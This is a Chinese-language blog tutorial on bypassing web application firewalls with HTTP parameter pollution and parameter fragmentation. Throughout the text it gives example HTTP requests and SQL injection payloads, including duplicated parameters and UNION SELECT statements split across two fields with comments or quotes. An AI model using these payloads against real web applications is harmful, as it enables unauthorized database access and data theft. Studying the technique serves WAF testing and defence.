HTTP 参数污染 (HPP) 和 HTTP 参数碎片 (HPF)

发布于:2022-11-13 ⋅ 阅读:(587) ⋅ 点赞:(0)

目录

前言:

(一)HTTP 参数污染

Demo:

(二)HTTP 参数分片

2.1 问题陈述

2.2 要求

2.3 攻击

(三)Demo

注意:


前言:

在这篇文章中,将介绍绕过WAF技术,它们是 HTTP 参数污染 (HPP) 和 HTTP 参数碎片 (HPF)。虽然 HPP 是一种众所周知的技术,但它在 WAF 中的检测能力也很强。虽然检测 HPF 很困难,但它的先决条件更难被发现,这使得这种攻击成为一种罕见的发现。在这篇文章中,将首先介绍如何使用 HPP 绕过 WAF,然后我们将深入挖掘 HPF 技术的利用。

(一)HTTP 参数污染


首先让我们介绍一下 HTTP 参数污染 (HPP) 的基础知识。当我们向服务器发送请求时,通常有两个独立的组件在处理请求——WAF 和 Web 服务器。WAF 正在尝试分析请求内容,以识别已知攻击的特征。如果没有签名匹配,则允许请求并继续到网络服务器。如果 WAF 处理请求内容的方式和 Web 服务器处理请求内容的方式存在差异,那么我们作为攻击者可以利用这种差异来绕过 WAF 的限制。

Demo:

POST /payslip HTTP/1.1
Host: vulnerable.dev
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 49

{
    "month" : "March",
    "year" : "2010"
}

考虑该参数month易受 SQL 注入攻击。month我们在参数 like中输入了一个有效负载March' and sleep(5) --,但它被 WAF 阻止了。现在,假设我们发送一个带有两个month参数的请求,如下所示:

POST /payslip HTTP/1.1
Host: vulnerable.dev
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 73

{
    "month" : "March",
    "year" : "2010",
    "month" : "April"
}

我们注意到应用程序打印了 4 月份的工资单,这意味着应用程序忽略了month参数的第一个实例并选择了第二个参数的值。

如果 WAF 选择month参数的第一个值而忽略第二个值,则此处将存在 HPP 攻击。我们要做的是在第一个参数中传递一个有效值,month并在第二个参数中传递我们的有效负载month。WAF 将选择第一个,认为它有效并让请求通过。然后 webserver 将选择包含我们的有效负载的第二个值并执行。我们将绕过 WAF 的请求如下所示:

POST /payslip HTTP/1.1
Host: vulnerable.dev
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 87

{
    "month" : "March",
    "year" : "2010",
    "month" : "April' and 1=1 -- a"
}

不同的网络服务器行为不同。其中一些选择参数的第二个实例,其中一些会首先选择,其中一些会连接它们。下表图1-1(取自Appsec EU 2009 Carettoni & Paola)列出了常见 Web 服务器的这种行为。

图1-1 Web服务器的解析

然而,HPP 是一种众所周知的技术,大多数 WAF 都配置为捕获此类攻击。你很少会找到一个有效的 HPP。还有另一种称为 HTTP 参数分段的姊妹技术。现在让我们介绍一下这项技术。

(二)HTTP 参数分片


2.1 问题陈述


我们在这里试图解决的问题类似于我们在 HPP 中遇到的问题——一个位于易受攻击的 Web 应用程序前面的 WAF。我们注意到 WAF 在用户输入中阻止了 SQL 注入负载,我们必须绕过这个限制。我们已经尝试过 HPP,但 WAF 足够聪明,可以检测到它。

2.2 要求


  • 在同一个请求中应该有两个(或更多)参数容易受到攻击(如 SQL 注入)
  • 后端都应该在单个操作中使用它们(如 SQL 查询)

这可能看起来令人困惑,因此让我们直接跳到示例以获得更好的清晰度。考虑以下请求:

POST /payslip HTTP/1.1
Host: vulnerable.dev
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 49

{
    "year" : "2010",
    "month" : "March"
}

我们发现两者monthyear容易受到 SQL 注入的影响。从这个请求中,我们可以假设在后台运行的 SQL 查询看起来像这样:

SELECT * FROM payslips WHERE year = '$year' AND month = '$month'

为了证实这个假设,我们可以尝试各种payload。如果我们有基于错误的 SQL 注入,那么显而易见的选择是观察错误消息。当我们将单引号和双引号放在year参数中时(如year=2010'"),我们应该看到如下错误消息,如图2-1:

 

图2-1 报错消息

这应该确认我们确实在单个查询中使用了这两个参数。如果我们看不到错误消息,那么您可以使用一些布尔条件来判断这一点。例如,结果

SELECT * FROM payslips WHERE year='2010' OR 1=1 AND month='March' AND 1=2

应该不同于

SELECT * FROM payslips WHERE year='2010' AND 1=2 AND month='March' OR 1=1

您还可以使用 SQL 注释。结果

SELECT * FROM payslips WHERE year='2010' AND month='March' -- 

应该不同于

SELECT * FROM payslips WHERE year='2010' -- AND month='March' 

应该还有其他方法,看经验了。

2.3 攻击


到目前为止,上面使用的要求和示例应该感受了这次攻击的一些气息。这种攻击的关键是在两个参数之间划分有效载荷。通过这样做,WAF 将无法检测任何参数值中的 SQL 注入签名,从而绕过 WAF。

假设 WAF 阻止了以下参数:

{
    "year" : "2010",
    "month" : "March' AND 1=2 UNION SELECT 1,2 -- "
}

经过大量的尝试和尝试,我们注意到当参数的值匹配时,WAF 会阻止请求' ... UNION SELECT ...'我们已经知道两者year并且month正在查询中使用。我们可以在这些参数中拆分我们的有效负载。查看以下参数:

{
    "year" : "2010' AND 1=2 UNION /*",
    "month" : "*/ SELECT 1,2 -- "
}

使用这些值,查询实际上看起来像:

SELECT * FROM payslips WHERE year='2010' AND 1=2 UNION /* AND month='*/ SELECT 1,2 -- '

注意多行注释是如何巧妙地利用我们的优势。我们的参数现在都与' ... UNION SELECT ...模式不匹配,因此请求将通过 WAF。如果 SQL 注释 (/**/) 被 WAF 阻止,那么您可以使用开放式引号将我们将注释的查询部分括起来。参数应如下所示:

{
    "year" : "2010' AND 1=2 AND 'abc' <> \"xyz",
    "month" : "\" UNION SELECT 1,2 -- "
}

查询如下所示:

SELECT * FROM payslips WHERE year='2010' AND 1=2 AND 'abc' <> "xyz AND month='" UNION SELECT 1,2 -- '

请注意包含的查询部分month现在是字符串的一部分,就像它是上面评论的一部分一样。虽然这在 WAF 阻止类似 的模式时不起作用' ... UNION SELECT ...,但此技巧仍可用于绕过其他类型的限制。

(三)Demo


现在我们已经涵盖了理解这种攻击所需的所有理论。我们手头有以下要求:

让我们在这里尝试一个基于 UNION 的普通 SQL 注入。我们发现表中有 4 列,但是当我们运行 UNION 有效负载时,我们被 WAF 阻止:

 经过一些尝试,我们意识到 WAF 正在阻塞union select并且union all select. 我们可以尝试在两者之间添加jinyouxin,但没有帮助:

 

我们现在将在这里尝试使用 HPF,看看它是否可以帮助我们。让我们首先确认哪个参数在查询中首先出现。我将通过检查错误消息来做到这一点。

从错误消息中,我们可以确认该year参数month在 SQL 查询中出现在前面。现在我们必须在这两个参数之间拆分整个有效负载:

注意:

 SQL 查询可以容忍查询中的 CR/LF。union当两个单词 ( and selecthere) 的组合被阻止并且 SQL 多行注释也被阻止时,我们可以在我们的场景中利用这一点:

SQL 注入绕过技术再次总结_jinyouxin的博客-CSDN博客 

 


网站公告

今日签到

点亮在社区的每一天
去签到